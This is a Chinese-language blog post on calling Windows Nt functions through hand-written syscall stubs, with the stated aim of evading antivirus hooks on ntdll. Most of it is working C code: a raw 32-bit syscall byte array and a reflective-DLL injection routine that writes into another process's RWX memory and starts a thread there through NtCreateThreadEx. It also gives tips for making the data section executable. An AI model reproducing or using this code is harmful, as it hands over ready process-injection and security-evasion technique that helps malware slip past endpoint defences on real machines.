使用syscall来调用Nt函数
我们通过GetProcAddress函数去获取Nt函数,哪怕函数名hash化,还是很容易在动态调试时被发现调用了哪个函数,并且杀软都对ntdll库整体hook了。
决定自己手动实现一下通过syscall调用Nt函数。
Nt函数都是由ntdll.dll导出的,也就是说我们需要的汇编指令都在ntdll库中。这里要注意以下32位和64位库的差别,System32和SysWOW64中的ntdll是不同的,对应的函数代码也是不同的。
32位的库多了一个转发的步骤。
代码如下:
char syscall_x32[] = { 0xb8, 0xc1, 0x00, 0x00, 0x00, //第二个字节是系统调用号,也就是0x55的位置 0xba, 0x70, 0x88, 0x66, 0x77, //mov edx, offset j_Wow64Transition 0xff, 0xd2, //call edx ; j_Wow64Transition 0xc2, 0x2c, 0x00, 0x90 //0x18的值最好还是参考一下ntdll }; typedef DWORD(WINAPI* fpNtCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpstartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnknow); HANDLE LoadRemoteLibrary(HANDLE hProcess, PVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) { HANDLE hThread = NULL; DWORD dwThreadId = 0; LPVOID lpRemoteLibraryBuffer = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; DWORD dwReflectiveLoaderOffset = 0; lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL); dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); //CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpRemoteLibraryBuffer, (DWORD)NULL, &dwThreadId); syscall_x32[1] = 0xc1; fpNtCreateThreadEx NtCreateThreadEx = (fpNtCreateThreadEx)&syscall_x32; //fpNtCreateThreadEx NtCreateThreadEx = (fpNtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwCreateThreadEx"); MEMORY_BASIC_INFORMATION mbi; DWORD dwOldProtect; VirtualQuery(syscall_x32, &mbi, sizeof(mbi)); BOOL bRetn = VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, lpReflectiveLoader, (LPVOID)lpRemoteLibraryBuffer, 0, 0, 1024 * 1024, 0, NULL); if (bRetn) { VirtualProtect(mbi.BaseAddress, mbi.RegionSize, dwOldProtect, 0); } return NULL; }
需要注意的是我们无论是将syscall数组定义在函数里还是全局遍历,都要考虑定义位置是否有执行的权限。通过VirtualProtect函数来添加执行权限。
或者将数组定义为全局变量,再将data段设为可执行。在代码中添加如下内容:
#pragma comment(linker, "/section:.data,RWE")
又或者我们可以将syscall数组的内容编写到一个asm文件,然后开启vs的masm功能加载它。
将"Text.txt"文件重命名为"NtCreateThreadEx.asm"。
确保"NtCreateThreadEx.asm"的属性中项类型如下:
因为目前vs只支持64位的编译,所以上面的32位指令是无法编译的。改成64位的即可。
参考:
https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs
https://macchiato.ink/hst/bypassav/syscall_bypassav/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具